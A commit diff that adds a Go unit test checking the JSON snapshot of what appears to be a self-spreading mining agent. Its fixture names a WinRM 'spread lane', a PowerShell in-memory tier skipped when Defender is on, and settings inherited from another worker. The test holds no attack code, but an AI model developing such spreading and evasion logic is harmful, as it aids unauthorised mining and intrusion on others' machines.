Add phenotype cloning, failure atlas, AI court session, and clearance L0-L4
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -85,6 +85,48 @@ func TestAISnapshotJSONShape(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAISnapshotIncludesClearancePhenotypeAtlas(t *testing.T) {
|
||||
c := &AgentClient{
|
||||
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w"}},
|
||||
agentID: "a1",
|
||||
reporter: newTestClient(t).reporter,
|
||||
pool: newTestClient(t).pool,
|
||||
clearanceLevel: 2,
|
||||
atlasSkips: []AtlasSkip{
|
||||
{Tier: "ps_inmemory", Condition: "defender_on", Reason: "5 failures"},
|
||||
},
|
||||
inheritedPhenotype: &InheritedPhenotype{
|
||||
SourceAgentName: "worker-07",
|
||||
TierOrder: []string{"container", "wsl"},
|
||||
SpreadLane: "winrm",
|
||||
},
|
||||
}
|
||||
|
||||
snap := c.buildAISnapshot(0)
|
||||
raw, err := json.Marshal(snap)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var m map[string]json.RawMessage
|
||||
if err := json.Unmarshal(raw, &m); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, key := range []string{"clearance_level", "atlas_skips", "inherited_phenotype"} {
|
||||
if _, ok := m[key]; !ok {
|
||||
t.Fatalf("missing snapshot field %q in %s", key, string(raw))
|
||||
}
|
||||
}
|
||||
if snap.ClearanceLevel != 2 {
|
||||
t.Fatalf("clearance_level=%d", snap.ClearanceLevel)
|
||||
}
|
||||
if len(snap.AtlasSkips) != 1 || snap.AtlasSkips[0].Tier != "ps_inmemory" {
|
||||
t.Fatalf("atlas_skips=%+v", snap.AtlasSkips)
|
||||
}
|
||||
if snap.InheritedPhenotype == nil || snap.InheritedPhenotype.SourceAgentName != "worker-07" {
|
||||
t.Fatalf("inherited_phenotype=%+v", snap.InheritedPhenotype)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAISnapshotStuckWhenChainExhausted(t *testing.T) {
|
||||
snap := AISnapshot{
|
||||
MiningHashrate: 0,
|
||||
|
||||
Reference in New Issue
Block a user